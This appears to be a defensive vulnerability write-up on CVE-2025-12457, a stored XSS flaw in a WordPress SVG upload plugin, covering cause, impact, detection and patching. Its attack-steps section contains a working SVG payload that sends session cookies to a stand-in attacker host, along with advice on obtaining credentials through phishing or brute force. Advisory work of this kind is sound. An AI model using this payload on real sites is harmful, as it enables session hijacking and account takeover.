CVE-2025-12457: 
WordPress vulnerability analysis and mitigation

CVE-2025-12457 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Enable SVG, WebP, and ICO Upload" plugin for WordPress. It affects all versions up to and including 1.1.2, and was published on November 18, 2025. The flaw allows authenticated attackers with Author-level access or higher to upload malicious SVG files containing arbitrary JavaScript that executes when any user accesses the file. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is insufficient input sanitization and output escaping when processing SVG file uploads, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The vulnerable code resides in includes/class-svg.php at line 21 of the plugin, where uploaded SVG content is not adequately sanitized before being stored or rendered. An attacker with at least Author-level WordPress credentials can upload a crafted SVG file embedding malicious <script> tags or event handlers; the payload executes in the browser of any user who subsequently accesses or views the SVG file. No user interaction beyond viewing the file is required for the payload to trigger (Wordfence, ENISA EUVD).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, enabling session cookie theft, credential harvesting, defacement of page content, or redirection to malicious sites. The scope is changed (S:C), meaning the impact extends beyond the attacker's own session to affect other users of the WordPress site. Confidentiality and integrity are both rated Low impact, with no direct availability impact; however, chained with other vulnerabilities or social engineering, this could facilitate account takeover or site-wide compromise (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-12457 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Author level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, ENISA EUVD).

1. Reconnaissance: Identify WordPress sites running the "Enable SVG, WebP, and ICO Upload" plugin version 1.1.2 or earlier. This can be done by checking the plugin's readme.txt or changelog exposed at wp-content/plugins/enable-svg-webp-ico-upload/readme.txt.
2. Obtain Author-level credentials: Acquire or compromise a WordPress account with at least Author-level privileges (e.g., via phishing, credential stuffing, or brute force against the wp-login.php endpoint).
3. Craft malicious SVG: Create an SVG file containing an embedded XSS payload, for example:

<svg xmlns="http://www.w3.org/2000/svg" onload="document.location='https://attacker.com/steal?c='+document.cookie">
  <circle r="50" cx="50" cy="50" fill="red"/>
</svg>

4. Upload the SVG: Log in to the WordPress dashboard and upload the crafted SVG file via the Media Library (now permitted by the plugin).
5. Distribute the link: Share or embed the URL of the uploaded SVG file in a post, page, or comment to maximize victim exposure.
6. Harvest results: When any authenticated user (including administrators) accesses the SVG URL, the malicious script executes in their browser, sending session cookies or other sensitive data to the attacker's server (Wordfence, Plugin Source).

• File System: Presence of SVG files in wp-content/uploads/ containing inline <script> tags, onload, onerror, or other JavaScript event handlers; unexpected SVG files uploaded by Author-level accounts.
• Logs: WordPress access logs showing requests to .svg files in the uploads directory from multiple distinct user sessions; unusual outbound HTTP requests from the web server to external domains following SVG file access.
• Network: Outbound connections from victim browsers to unknown external domains (e.g., attacker-controlled cookie-harvesting endpoints) triggered after accessing SVG media files.
• Application: WordPress audit logs (if enabled via plugins like WP Activity Log) showing SVG file uploads by Author-level users, especially if the account is not typically expected to upload media.

Update the "Enable SVG, WebP, and ICO Upload" plugin to version 1.1.3 or later, which contains the fix for insufficient SVG sanitization (Wordfence). As a workaround, site administrators can restrict SVG upload capabilities to trusted administrator-level accounts only, or temporarily disable the plugin until patching is feasible. Additionally, deploying a Web Application Firewall (WAF) rule to block SVG uploads containing script content can provide an interim layer of defense.

The vulnerability was reported and disclosed by Wordfence, which serves as the primary source of technical detail and remediation guidance. No significant broader media coverage, researcher commentary, or social media discussion has been identified beyond standard vulnerability database aggregation (Wordfence).